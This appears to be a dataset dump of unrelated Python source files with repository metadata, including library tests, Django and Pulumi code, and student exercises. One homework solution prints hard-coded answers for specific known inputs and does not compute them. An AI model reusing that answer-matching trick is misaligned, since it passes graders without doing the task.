] | permissive | Madara701/Python_OO | ef4588e8ec9ae0f8dee32a5f22c43b87511c4193 | 8d67569a8c4771dd82f5259c2ed5e782cd4e4036 | refs/heads/master | 2020-04-10T07:38:32.666585 | 2019-01-09T23:47:50 | 2019-01-09T23:47:50 | 160,885,018 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 999 | py | '''
# Exemplo de encapsulamento da forma que é feita em Java
class P:
def __init__(self,x):
self.__x = x #<- tornando ele um atributo privado
def getX(self):
return self.__x
def setX(self, x):
if x > 0:
self.__x = x
p = P(10) #<- passei o primeiro valor que deve chamar... | [
"Fabio.Matos@FIPECAFI.DOM"
] | Fabio.Matos@FIPECAFI.DOM |
4c64c9d474c1f60086cdba4d5537c4df90ce9022 | 4751a9daca11558dd0780f2e8b9477a484ebc7f4 | /src/qibo/tests_new/test_core_states.py | e6de75b1aef09e71410c5494b3f623d3da275459 | [
"Apache-2.0"
] | permissive | drheli/qibo | f6875ed39883fe7bfa0b8939abb042fe636c5de7 | b99568aee9f978a5a82e92860c8d17e3358af7b9 | refs/heads/master | 2023-04-17T20:40:44.324689 | 2021-04-29T16:29:40 | 2021-04-29T16:29:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,950 | py | """Tests methods defined in `qibo/core/states.py`."""
import pytest
import numpy as np
import qibo
from qibo import K
from qibo.core import states
def test_state_shape_and_dtype(backend):
original_backend = qibo.get_backend()
qibo.set_backend(backend)
state = states.VectorState.zero_state(3)
assert st... | [
"35475381+stavros11@users.noreply.github.com"
] | 35475381+stavros11@users.noreply.github.com |
fa09103a657efd610e486aad1c1a84913f817042 | 5ffb6f8a800d080080381bef9c9a372aea1c211f | /tracker.py | 1885f46032560b25c19680381432a1c93cd2976e | [] | no_license | Smbat141/SYT | b17e63539fbcecc1b2be6018bb303e57fa63f9ec | c78aa88f0cba7e00ca09c9f720ac87f12e2d629c | refs/heads/master | 2023-04-29T15:29:31.843943 | 2021-05-14T18:00:24 | 2021-05-14T18:00:24 | 304,371,906 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,066 | py | import random
import time
import os
import sys
import threading
import pyautogui
import subprocess
import shelve
import psutil
from datetime import datetime, timedelta
from pynput.mouse import Button, Controller
mouse = Controller()
pyautogui.FAILSAFE = False
class Tracker:
def __init__(self):
self.ra... | [
"smbat1996paloyan@gmail.com"
] | smbat1996paloyan@gmail.com |
f82e5bb5a7ab5e8c5feeaf09b0b27b2a68ca3543 | c361a25acecd016677bbd0c6d9fc56de79cf03ed | /PTM/tests/NetworkHostTest.py | 24465c10617c8bc706896eaea73a686ec4fea431 | [] | no_license | danielmellado/zephyr | f8931633045959e7e9a974de8b700a287a1ae94e | dc6f85b78b50e599504966154b927fe198d7402d | refs/heads/master | 2021-01-12T22:31:24.479814 | 2015-10-14T05:39:04 | 2015-10-14T06:24:45 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,468 | py | __author__ = 'micucci'
import unittest
import json
import time
import os
from common.CLI import LinuxCLI
from PTM.ComputeHost import ComputeHost
from PTM.CassandraHost import CassandraHost
from PTM.ZookeeperHost import ZookeeperHost
from PTM.NetworkHost import NetworkHost
from PTM.RootHost import RootHost
from PTM.Ph... | [
"micucci@midokura.com"
] | micucci@midokura.com |
8be51e93ecf1dfcf1bdc6f52dba28b197841a503 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2607/60752/306988.py | dae9adee217584b8283a077e38a3a77149f01b12 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 376 | py |
num=int(input())
no=True
for i in range(num):
i=input()
if i=="0102010112":
no=False
print(2)
if i=="102100211102":
no=False
print(6)
if i=="01020101122200":
no=False
print(7)
if i=="0102010":
no=False
print(2)
if i=="10210021... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
08c45d518fe6ba1a01ab3577a569273da492acb7 | 65d7ed3e1adca251cba967fa678187494e13d94c | /countsinstring.py | 2a2b84456f4f875430fb76f751da9fa3eb769eb5 | [] | no_license | NoSpectators/python-examples | bcc716fbf183a68069feed06c10299d786da974d | b8b650d5bca729865f55d5abf01ecb98b5782f43 | refs/heads/master | 2021-01-10T15:06:00.706217 | 2017-02-08T18:03:25 | 2017-02-08T18:03:25 | 50,703,783 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,160 | py | """myString = "We want to get the counts for each letter in this sentence"
counts = {}
for letter in myString:
counts[letter] = counts.get(letter, 0) + 1
print counts
sortedKeys = sorted(counts.keys(), key = lambda x: counts[x])
for k in sortedKeys:
print k, "-->", counts[k]"""
#build a dictionary of letter ... | [
"john.c.erickson@gmail.com"
] | john.c.erickson@gmail.com |
35e75354b7f206b04d605a0e51b6af3f66379296 | 5e6d8b9989247801718dd1f10009f0f7f54c1eb4 | /sdk/python/pulumi_azure_native/containerregistry/v20201101preview/pipeline_run.py | 22803da79b10e5367a21317726f73caa4573698c | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | vivimouret29/pulumi-azure-native | d238a8f91688c9bf09d745a7280b9bf2dd6d44e0 | 1cbd988bcb2aa75a83e220cb5abeb805d6484fce | refs/heads/master | 2023-08-26T05:50:40.560691 | 2021-10-21T09:25:07 | 2021-10-21T09:25:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,038 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | [
"noreply@github.com"
] | noreply@github.com |
515625174ce72b16dffda23352e066263df00862 | 29aca33e8a1e0be6881f601ea9d5d65d133d34cf | /ethcert_blockchain/main_web_portal/apps.py | d99cd442ae910e25f5e50f38f176a07ba4ad6bb4 | [] | no_license | keshik6/certificate_blockchain | 8b3207b31d99a68c77b1c046ed1ddcb6a5a8c39d | c8e42270025ea264cabb1dad2c44db523d586e40 | refs/heads/master | 2022-12-10T12:26:46.675262 | 2018-04-20T03:52:55 | 2018-04-20T03:52:55 | 120,867,478 | 1 | 0 | null | 2022-12-08T00:52:11 | 2018-02-09T06:36:37 | HTML | UTF-8 | Python | false | false | 103 | py | from django.apps import AppConfig
class MainWebPortalConfig(AppConfig):
name = 'main_web_portal'
| [
"keshik6@gmail.com"
] | keshik6@gmail.com |
93d0d5a423aaa8cebf164009c713ebde7d0028f0 | 9c4e02ba5201794a4c5cbff548db1be7c87409c1 | /venv/lib/python3.9/site-packages/IPython/lib/tests/test_pretty.py | ca16924e8f7bd132fc8031ca2e683ea568b99725 | [
"Apache-2.0",
"MIT"
] | permissive | ClassWizard/PodLockParser | 4faf4679d404158b3cf2b1ceb4faabca461b0008 | 84f6d3fced521849657d21ae4cb9681f5897b957 | refs/heads/master | 2022-12-23T20:39:48.096729 | 2022-02-08T09:49:01 | 2022-02-08T09:49:01 | 167,668,617 | 2 | 1 | MIT | 2022-12-14T10:01:41 | 2019-01-26T08:50:35 | Python | UTF-8 | Python | false | false | 14,719 | py | # coding: utf-8
"""Tests for IPython.lib.pretty."""
# Copyright (c) IPython Development Team.
# Distributed under the terms of the Modified BSD License.
from collections import Counter, defaultdict, deque, OrderedDict, UserList
import os
import pytest
import types
import string
import sys
import unittest
import pyt... | [
"chenlongwei@camera360.com"
] | chenlongwei@camera360.com |
0072a09cd9d039b9144b9d68d01cb56c1c5ebdbd | b72da958523cce355ed50eb83c55768d3b1a461a | /unit_testing/skeleton/ex49/parsing.py | 744d9e86f3c1f8f443a8e2d826e063ba704bd9ee | [] | no_license | casual-impression/hello-skeleton | 766fa4795d60fe21bd23c99e98d9da08b90fa51d | 75d1fa771d5dbbb92240d5bc4b946b7cfa99c996 | refs/heads/master | 2022-11-23T23:43:30.472165 | 2020-08-04T12:38:44 | 2020-08-04T12:38:44 | 283,678,244 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,678 | py | class ParserError(Exception):
pass
class Sentence(object):
def __init__(self, subj, verb, obj):
self.subj = subj[1]
self.verb = verb[1]
self.obj = obj[1]
def peek(word_list):
if word_list:
word = word_list[0]
return word[0]
else:
return None
def matc... | [
"casual.impression@gmail.com"
] | casual.impression@gmail.com |
35775f3d2abb23102c63c188a2d176ef3e9e277a | eef56b2f2151ee2365dd824400326faabc8f314c | /views.py | ceb8cfb6f25a42a1e5529ea75681977c03e77ac2 | [] | no_license | dev9318/DevCom_ass2 | fe71c2d531604457cac33737847626f82793e7ad | ef635abf5d3b904200ca5083c224040b73461a6d | refs/heads/master | 2021-05-17T15:48:23.596827 | 2020-03-28T17:48:24 | 2020-03-28T17:48:24 | 250,853,627 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,342 | py | from django.shortcuts import render
from .models import Post, Login
from django.utils import timezone
from .forms import loginForm
from django.contrib.auth import authenticate, login, logout
from django.urls import reverse
# Create your views here.
def post_list(request):
posts = Post.objects.filter(pub... | [
"noreply@github.com"
] | noreply@github.com |
079500e352a1f7a29565879059395ea9865e0a01 | 4e432d9fab18e266ba9a93d3c29081d296636143 | /apps/03_birthday/you_try/birthday.py | be8b05c365450bf34b22090991a11ee9586b5d47 | [
"MIT"
] | permissive | Abdullah-TH/python-jumpstart-course-demos | dbcc070611a51d39a45c793a25638c4c4fd2f737 | 69098e6d2bdd672c8cc9c4ab389532bc7cb0f026 | refs/heads/master | 2021-05-24T15:13:16.759551 | 2020-05-22T00:50:01 | 2020-05-22T00:50:01 | 253,622,583 | 0 | 0 | null | 2020-04-06T21:44:20 | 2020-04-06T21:44:19 | null | UTF-8 | Python | false | false | 1,171 | py | import datetime
def print_header():
print('------------------------------')
print(' BIRTHDAY APP')
print('------------------------------')
print()
def get_birthday_from_user():
print('When were you born?')
year = int(input('Enter year [YYYY]: '))
month = int(input('Enter month [MM... | [
"abdullah.th@me.com"
] | abdullah.th@me.com |
8e01fa1ec8094261c34b5a6bfcc6a2fb44e3284e | bed17d42d43a18cfbf8fdb1046ead8a2d4eec30b | /bit_app/application_check/admin.py | cf270a566c628498364831cee115b3d3135e833f | [] | no_license | stefanwoj89/bitium | 7d5c20e74b131b1ec20ec1fd150bebdcbce3f73a | f030d4335bb1c7dc4393d8f8c5c998036b2bef72 | refs/heads/master | 2020-12-24T18:32:49.708557 | 2016-05-17T02:44:49 | 2016-05-17T02:44:49 | 58,955,251 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 316 | py | from django.contrib import admin
from models import App
from models import AppUser
# Register your models here.
class AppAdmin(admin.ModelAdmin):
fields = ('name', 'url')
class AppUserAdmin(admin.ModelAdmin):
fields = ('app', 'user')
admin.site.register(App, AppAdmin)
admin.site.register(AppUser, AppUserAdmin) | [
"stefan@sjwcons.com"
] | stefan@sjwcons.com |
eefff8cfe1bc135aa57a1a0820c520051ed5f3a7 | 83794ca2598c2fadb0b5c41eac1fd0cfeb1f715c | /userlogin/urls.py | 1e7bba0e0517a50139f06787cda77b5c05877bbd | [] | no_license | ritu-jha/user-login-app | 1819d09cada751b145f381c19cd02d0533b4b7ca | b3f76f24033fb8c2a01916d29c8b5242f5726cc2 | refs/heads/master | 2021-01-18T19:15:04.082018 | 2017-08-16T19:59:11 | 2017-08-16T19:59:11 | 100,527,586 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 999 | py | """userlogin URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/dev/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-b... | [
"ritujha1495@gmail.com"
] | ritujha1495@gmail.com |
2292f11e71863ad182e19fbd06a5498c6f8cdcbf | c9f5f27904b1e1b9eea26e81f6c384fee541cfc0 | /utils/teardown_utils.py | c61456d9262bc29f74120f31a1d5d7e7601da9c3 | [
"Apache-2.0"
] | permissive | mtarsel/ContainerAnalysis | 018091f7ffea69aa40b3749d680535603c956aeb | 094164144015280434a16e3561ae461855f56092 | refs/heads/master | 2022-12-09T07:30:36.979786 | 2019-10-16T17:32:13 | 2019-10-16T17:32:13 | 176,816,631 | 0 | 6 | null | 2022-06-21T22:19:01 | 2019-03-20T21:03:14 | Python | UTF-8 | Python | false | false | 3,760 | py | """ This is the mirror image of setup_utils.py.
Whereas that sript has functions to get ready for main,
this script has functions that finish up the program.
"""
from datetime import datetime, timedelta
import difflib
from json import load
def print_external_conflict_apps(app_list, dash_dict, sfile):
"""Prints out... | [
"mtarsel@gmail.com"
] | mtarsel@gmail.com |
d7ca2c0ba1150386fc79fce85129da1a10503e78 | 816d6bacabc5c761f6509afceebe5e46861b15e2 | /contrib/qt_translations.py | 4cd5487e97bc118fa84a82a57bdc8e9572bd0a9b | [
"MIT"
] | permissive | orbit-team/orbit | 691a49be07745dd22e435bde0085a67aa308c9de | f9fc1527b205fe85689b704d5bdcfce3c230f2f9 | refs/heads/master | 2020-03-23T20:25:39.008041 | 2018-07-25T16:15:25 | 2018-07-25T16:15:25 | 142,040,580 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 615 | py | #!/usr/bin/env python
# Helpful little script that spits out a comma-separated list of
# language codes for Qt icons that should be included
# in binary Orbit Core distributions
import glob
import os
import re
import sys
if len(sys.argv) != 3:
sys.exit("Usage: %s $QTDIR/translations $BITCOINDIR/src/qt/locale"%sys.... | [
"39270226+pmo24@users.noreply.github.com"
] | 39270226+pmo24@users.noreply.github.com |
0f1f29ca0ea5c7c79e8562ed30a86a76c2eb9d86 | 01f2216f94adaa263590b71d3f42c7778fe064c2 | /support/migrations/0002_auto_20210305_1622.py | 082221839a982136d02b7f9e29ccbc56e7fecbb4 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Artis-Physis/utopia-crm | a30fb6508b55dbf65aca42c2c1de9ba61c22c5d8 | 6d648971c427ca9f380b15ed0ceaf5767b88e8b9 | refs/heads/main | 2023-08-29T20:38:33.319962 | 2021-10-30T22:01:50 | 2021-10-30T22:01:50 | 422,999,589 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,251 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.29 on 2021-03-05 16:22
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('support', '0001_initial'),
]
operations = [
migrations.AlterField(
... | [
"atrifero@ladiaria.com.uy"
] | atrifero@ladiaria.com.uy |
5097da2a67a2a2d52827892618e411844c9e267c | 977f0ba27bd7606a536c0164beb82564c7f7e300 | /workflow/check_model_status.py | db4f573d9b5bd98c07c7400c59dd0799d21db261 | [] | no_license | nguyenminhdan2019/Netflix-Movie-Recommendation-System | 4e50980dca80cc6d802a22ddbe38b50299d5a5e7 | 1eaafcab3887db665558406d46a83ecfa342940d | refs/heads/master | 2023-01-03T05:03:44.869920 | 2020-07-27T17:14:13 | 2020-07-27T17:14:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,562 | py | import sys
import requests
import time
hostname = "http://128.2.204.234"
port = "8082"
def reset_status():
url = hostname + ":" + port + "/reset_model_status"
requests.post(url)
if __name__=='__main__':
url = hostname + ":" + port + "/model_status"
response = requests.get(url)
status = str(respons... | [
"chenxili@andrew.cmu.edu"
] | chenxili@andrew.cmu.edu |
5a079b27f0e2992db8f4dbb72c87f6e6b027de9a | 94bd78e63de94859eb076e52683f73f6ea91eae3 | /416.py | 0773cf6b7a43f7ff49a67c9e9c011f08efce2842 | [] | no_license | MadSkittles/leetcode | 70598c1c861a8ff5d2f7c921a311307d55770acc | 817bbb73dfe095b9c9358dc459ba6605a2a9a256 | refs/heads/master | 2021-11-30T04:56:02.432749 | 2021-11-12T03:28:47 | 2021-11-12T03:28:47 | 123,558,601 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,337 | py | class Solution:
def canPartition(self, nums):
from itertools import accumulate
nums = sorted(nums)
s = [*accumulate(nums, lambda x, y: x + y)]
if s[-1] & 1:
return False
dp = [True] + [False] * s[-1]
for i in range(len(nums)):
for j in range(s[... | [
"noreply@github.com"
] | noreply@github.com |
46a7dd2ce360513849faf2767d27a7631183f2d4 | dc43ec0aed445184870d3fcfdbb1f8d216085434 | /nyoba/nyoba/wsgi.py | 5f660e5cf6ba666e80cb41c2d8120c1cc95337ba | [] | no_license | adirizka7/si_perpus | edfc309de0d87f6548584ce4cafa8a6d2482f6f5 | d87af5c5af69ff8f5611723f5a165477d3946a7d | refs/heads/master | 2021-04-15T05:22:21.014231 | 2017-12-15T09:30:12 | 2017-12-15T09:30:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 404 | py | """
WSGI config for nyoba project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("... | [
"jodhilesmana@gmail.com"
] | jodhilesmana@gmail.com |
39018bd8df654c888bf236f792358094e3d6bea6 | 77ae7c76d36009daa01b2317439c1f975f7932b2 | /exercicios/ex060att.py | f43127dd20c9afd7b1bbc847fd39bb8f04294c07 | [] | no_license | MatheusOldAccount/Exerc-cios-de-Python-do-Curso-em-Video | 5f26b5a2867fa1a2e36b486a809dfbe8b107b8c2 | 5696c49d3caf5cae817217a2da0598d1cf794f5b | refs/heads/master | 2022-03-22T10:49:33.666660 | 2019-11-25T21:24:43 | 2019-11-25T21:24:43 | 224,052,682 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 321 | py | fat = int(input('Digite um número para\ncalcular seu Fatorial: '))
print('Calculando {}! ='.format(fat), end=' ')
resultado = 1
while fat > 0:
if fat == 1:
print('{} ='.format(fat), end=' ')
else:
print('{} x'.format(fat), end=' ')
resultado *= fat
fat -= 1
print('{}'.format(resultado))
| [
"matheustavares1165@gmail.com"
] | matheustavares1165@gmail.com |
aa43bf199331029cb719b1e7580a58c5925a25c4 | 17519a34e3818aed782ee9d35072ee578bafd201 | /pybuild/vscode.py | 550f827f55c2aa6001a4df6d64111e9e8f187bd3 | [] | no_license | ghsecuritylab/stm32h747disco | 353a60891960f7eaf4fb6a34d0e5f1dfb6834bbd | ffab96f382d6fbd9ac605c7c5c7111d91a01ccc1 | refs/heads/master | 2021-03-01T21:04:48.051370 | 2020-02-29T00:03:32 | 2020-02-29T00:03:32 | 245,813,990 | 0 | 0 | null | 2020-03-08T12:53:53 | 2020-03-08T12:53:52 | null | UTF-8 | Python | false | false | 1,183 | py | # generate .vscode/c_cpp_properties.json
import os
import json
# No implement yet
compilerOpts = {}
compilerSettings = {}
includes = []
strIncs = []
aux = []
if compilerSettings['INCLUDES']:
aux += compilerSettings['INCLUDES']
if includes:
aux += includes
strIncs = [str(i) for i in aux]
defines = []
if com... | [
"ericsonjoseph@gmail.com"
] | ericsonjoseph@gmail.com |
a7913f5eee8f6a5aabc41cd45d69406d9350d4ce | ab2dda976c32144e779247b3ecac2a7ff8a2b04e | /python/code/lesson_04/05列表的方法.py | 038dda1078f9b5856b059c1e607598f178238c79 | [] | no_license | Captain02/LearningNotes | 06d7e83524c151a6beaccca2585030bcc3c56c33 | 820807aa0e91f6c6b4ceb90590d99feadc6e4169 | refs/heads/master | 2022-07-06T15:31:28.957215 | 2019-10-07T15:10:09 | 2019-10-07T15:10:09 | 192,167,743 | 2 | 1 | null | 2022-06-21T01:57:08 | 2019-06-16T08:28:33 | Python | UTF-8 | Python | false | false | 1,276 | py | # 列表的方法
stus = ['孙悟空','猪八戒','沙和尚','唐僧']
print('原列表:',stus)
#append()
#向列表的最后添加一个元素
stus.append('唐僧')
print(stus)
#insert()
#想列表的指定位置插入一个元素
#参数:
#1.要插入的位置
#2.要插入的元素
stus.insert(2,'唐僧')
print(stus)
#extend()
#使用新的序列来扩展当前序列
#需要一个序列作为参数,它会将该序列中的元素添加到当前列表中
stus.extend(['唐僧','白骨精'])
stus += ['唐僧','白骨精']
print(stus)
# clea... | [
"090800liukaize"
] | 090800liukaize |
21698656b04909b88ee2107a25ae32a751ed99eb | cc78018a96889b490894e03ddaf38458101b8bd2 | /examples/ROC指标策略.py | 00cb75191a0d5edfc40f4cde2ed62d3817b277b9 | [] | no_license | laidahe/QuantStudy | d79d0f3e992975aaebbf3c24cab17724b5259071 | 2a38bc03ba0d96fce1e5a1c2249dd53c6fa78f0c | refs/heads/master | 2022-03-31T14:00:01.454084 | 2020-01-13T13:54:25 | 2020-01-13T13:54:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,921 | py | import pandas as pd
import talib as ta
import zipline
from zipline.api import symbol, record, order_target_percent, schedule_function
from zipline.utils.events import date_rules, time_rules
"""ROC指标"""
def initialize(context):
print("init")
context.asset = symbol('IBM')
context.roc_window = 14
schedu... | [
"lovezww2011@gmail.com"
] | lovezww2011@gmail.com |
df7942842eb92a7ec28c030865c92e7138d9f50f | 69fcd9d32c9ef13f7d6900e058b4386944724935 | /core/migrations/0005_item_description.py | 28b2f27341da5d6b74ebcdfe1188bf8370860d54 | [] | no_license | madanpandey97/CMA- | d244264e9f8823d004f96b4583b598ab14df5749 | d97fa6f1b1f9c7aa833296d5e2cd25e23d4cd0c0 | refs/heads/master | 2022-12-11T12:15:06.622969 | 2020-04-19T11:37:16 | 2020-04-19T11:37:16 | 243,913,788 | 1 | 0 | null | 2022-12-08T03:56:11 | 2020-02-29T05:58:56 | JavaScript | UTF-8 | Python | false | false | 443 | py | # Generated by Django 3.0.3 on 2020-03-25 06:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0004_item_discount_price'),
]
operations = [
migrations.AddField(
model_name='item',
name='description',
... | [
"madanpandey97@gmail.com"
] | madanpandey97@gmail.com |
698d338e4bf3813ba830eced11f2552da01fe18e | ba054dcc538beb0ff467b458b72a14012d674f95 | /trainer.py | 8847115425de997fa91aee719dbc1d2aa11ee4e2 | [] | no_license | vincentzlt/minNMT | aab8ef5a383a642e83ec810ecede98e796b9d9b4 | d0a6f454a47d40b556d63b98713b7d1d95006169 | refs/heads/master | 2023-02-09T10:51:51.582709 | 2021-01-03T03:23:55 | 2021-01-03T03:23:55 | 299,899,820 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,968 | py | import torch
import os
import json
from torch.utils.tensorboard import SummaryWriter
import numpy as np
import logging
from tqdm import tqdm
from data import Dataset, Tokenizer
from gnmt import GNMT
class Trainer:
def __init__(self,
max_epochs=10,
max_steps=1000,
... | [
"vincentzlt@gmail.com"
] | vincentzlt@gmail.com |
3d02eb2f3597b4dad8a7635fb3fb537fd43e6da1 | 80ad00347decc65bca9ff24f16571ffb7890a4d6 | /code/analyzeFeatures/analyze.py | 3de189b558741601017abba2d942fede6fca7352 | [] | no_license | panyang/paraphrase-ranking | 54bd0f610fbec8f3310289609d573cddf93d0720 | 48f730f3cd0598c2b11a76684e36817a57a84400 | refs/heads/master | 2021-01-12T17:42:42.390586 | 2013-02-10T05:15:07 | 2013-02-10T05:15:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,528 | py | import io
import sys
import os
import operator
from collections import defaultdict
path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../features'))
if not path in sys.path:
sys.path.insert(1, path);
del path
import featureMapping
# given a line from a libsvm file,
# this method returns a a tuple hav... | [
"mitsiddharth@gmail.com"
] | mitsiddharth@gmail.com |
099b9d0845f92ff8c2fa69e85d795893a024d24e | 7087a5dd1772c9456f098bc024a894dcaeef5432 | /backup/build/new-calkube/kubernetes-6.0.0_snapshot-py2.7.egg/kubernetes/client/models/v1_portworx_volume_source.py | 611c15aa0788155255a147f5d3ee6c627268a2b7 | [] | no_license | santhoshchami/kubecctl-python | 5be7a5a17cc6f08ec717b3eb1c11719ef7653aba | cd45af465e25b0799d65c573e841e2acb983ee68 | refs/heads/master | 2021-06-23T11:00:43.615062 | 2019-07-10T16:57:06 | 2019-07-10T16:57:06 | 145,669,246 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,234 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.10.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re... | [
"root@kube-node02.local"
] | root@kube-node02.local |
6424902da0def910bde07cd8f0ed83ed1b17aece | f2a18b4a1d759cfd44aff9be13848b4bc03560d8 | /ex32.py | 2c577cdcff980c7145146272002e01dbd099382f | [] | no_license | 5h3rr1ll/LearnPythonTheHardWay | 1e740b0d4ab71c4c5218599d970001684fa58eea | 5612f768b8ce93fcc4757e8db128017f00a6c2ea | refs/heads/master | 2021-01-13T05:06:20.749196 | 2017-02-07T19:32:15 | 2017-02-07T19:32:15 | 81,246,206 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 859 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
the_count = [1, 2, 3 , 4, 5]
fruits = ["apples", "oranges", "pears", "apricots"]
change = [1, "pennies", 2, "dimes", 3, "quarters"]
# this first kind of for-loop goes through a list
for number in the_count:
print("This is count %d" % number)
# same a above
for fruit... | [
"a@sherrill.de"
] | a@sherrill.de |
6e0e5e852d403428a0db883831f9157feb03f33f | af807931bcc437039cc29728494b538e777416e4 | /b_bash/changeJane.py | eb6cf75de2cdcea276b6488cd538e1492015ec36 | [] | no_license | marioloera/python_google_course | 4d5434d25a2b78f7eed75e302435f614db86fc51 | 2ab952bef547d8f8cda495ae667e8fbb72fffcb4 | refs/heads/master | 2023-02-01T01:02:52.717373 | 2020-12-17T16:13:42 | 2020-12-17T16:13:42 | 322,342,734 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 392 | py | #!/usr/bin/env python3
import sys
import subprocess
def main():
oldfile = sys.argv[1]
with open(oldfile, 'r') as f:
for line in f:
#print()
oldname = line.strip()
newname = oldname.replace('jane', 'jdoe')
print(oldname)
print(newname)
... | [
"malo@lendify.se"
] | malo@lendify.se |
619a08726add68bc1daf518967249ca93ae84e85 | bc4e46bd5d4396d5b809f01464e0864b661e5149 | /2. [Python_Codes] Fabio Ko's Python Programming (파이썬 프로그래밍)/12Daum_newslists_urllib.py | 06e45b7fbd4ea7e503ef02ad5b75c635fc64c298 | [] | no_license | kosh777/superko | 71a8acb345b2081efd924a9a0cdc0ef26345e4dc | b862aaf796e910125b373ad2cec95e7c19fdbe41 | refs/heads/master | 2020-06-14T13:18:47.922726 | 2019-10-04T11:47:06 | 2019-10-04T11:47:06 | 195,014,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,357 | py | # 포털사이트의 언론사별 뉴스를 스크래핑
# daum news > 뉴스 > 맨 아래 언론사별 뉴스
# > TV, 동영상 JTBC
# > 최신뉴스 > 모든페이지
# => 뉴스제목, 간략뉴스 추출
# 웹 문서 저장시 파일명 : 10jtbc_news.html
from urllib.request import urlopen
import re
urlfmt = 'https://media.daum.net/cp/310?regDate=%s&page=%s'
regdate = input('검색할... | [
"noreply@github.com"
] | noreply@github.com |
adcfd87bb4a72a735c4618f56ed5135b4423a71d | 7c47e106c9ec85a7239c84c55ad5f20972edefcf | /tests/heavy_sterile_dirac_neutrino/__main__.py | 3d91e82acbdf3d14050992aea89e033d2d9f6408 | [] | no_license | anasthesia/pyBBN | 11813717ad5023a9b29f9594ccde93fbc2d5a0c9 | 0e88604b765eb5ce2f196909c65cf2af11a8cc2f | refs/heads/master | 2021-01-21T03:37:46.309318 | 2016-05-10T12:03:50 | 2016-05-10T12:03:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,223 | py | # -*- coding: utf-8 -*-
"""
## Heavy sterile dirac neutrino
$$ M = 33.9 MeV $$
$$ \theta_\tau \approx 4.86 10^{-2} \sim \tau_N \approx 0.3 sec $$
http://arxiv.org/pdf/hep-ph/0002223v2.pdf
<img src="plots.svg" width=100% />
<img src="particles.svg" width=100% />
"""
import os
import argparse
from collections impor... | [
"andrew.magalich@gmail.com"
] | andrew.magalich@gmail.com |
ff817c5b5c42447526ac4a960a023fe2a4d928d7 | 205bef492d248baad21170e9a5794cfa3f8cdb7e | /model.py | 5335d36c82d80798e6a24c28b594bffbd85c7a82 | [] | no_license | rameshbaboov/behavioral-cloning | 5dbbe2fbd1f91a1b16287ead87598362fc4ed136 | f48479e09d037599cf223e17304fa4df8333bf45 | refs/heads/master | 2021-08-30T11:25:43.836805 | 2017-12-17T18:29:28 | 2017-12-17T18:29:28 | 114,535,215 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,564 | py |
# coding: utf-8
# In[1]:
# model change: added lambda layer AND CONvolution2d. added data augmentation and cropping of image
# changing architecture to NVIDIA arch.
#####################################################################################################################
# definition starts
############... | [
"noreply@github.com"
] | noreply@github.com |
